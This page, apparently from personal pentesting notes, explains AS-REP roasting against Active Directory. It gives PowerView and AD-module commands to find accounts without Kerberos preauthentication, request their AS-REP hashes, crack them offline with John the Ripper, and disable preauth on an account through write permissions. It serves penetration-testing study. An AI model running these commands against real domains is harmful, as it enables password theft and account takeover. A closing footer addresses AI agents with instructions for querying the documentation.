> For the complete documentation index, see [llms.txt](https://alexdhital.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alexdhital.gitbook.io/pentesting-notes/active-directory-pentesting/asreproasting.md).

# ASREProasting

### ASREProasting working

If a user's UserAccountControl settings have "Do not require Kerberos preauthentication" enabled i.e. Kerberos preauth is disabled, it is possible to grab user's crackable AS-REP and brute-force it offline. It means during the first step of kerberose where a valid user asks for TGT with authentication server he/she needs to send an encrypted timestamp along with the request. The timestamp is encrypted with the user's password and If the DC can decrypt that timestamp using its own record of the user’s password hash, it will send back an Authentication Server Response (AS-REP) message that contains a Ticket Granting Ticket (TGT). However, if preauthentication is disabled, an attacker could request authentication data for any user and the DC would return an AS-REP message. Since part of that message is encrypted using the user’s password, the attacker can then attempt to brute-force the user’s password offline. We should use asreproasting if we have generic all or generic write permission over a user.

## Enumerating accounts with Kerberos Preauthdisabled

* Using PowerView

```powershell
Get-DomainUser -PreauthNotRequired -Verbose
```

* Using ActiveDirectorymodule:

{% code overflow="wrap" %}

```powershell
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
```

{% endcode %}

* ASreproast

```powershell
Get-ASREPHash -UserName VPN1user -Verbose
```

* To enumerate all users with Kerberos preauthdisabled and request a hash

```powershell
Invoke-ASREPRoast -Verbose
```

* We can use John The Ripper to brute-force the hashes offline

{% code overflow="wrap" %}

```batch
john.exe --wordlist=C:\AD\Tools\kerberoast\10k-worst-pass.txt C:\AD\Tools\asrephashes.txt
```

{% endcode %}

### We can also Force disable Kerberos Preauth:

* Let's enumerate the permissions for RDPUserson ACLs using PowerView

{% code overflow="wrap" %}

```powershell
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
```

{% endcode %}

* We found we have generic write or generic all permission that means we can disable pre auth on a user's account and asreproast

{% code overflow="wrap" %}

```powershell
Set-DomainObject -Identity Control1User -XOR @{useraccountcontrol=4194304} -Verbose
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alexdhital.gitbook.io/pentesting-notes/active-directory-pentesting/asreproasting.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
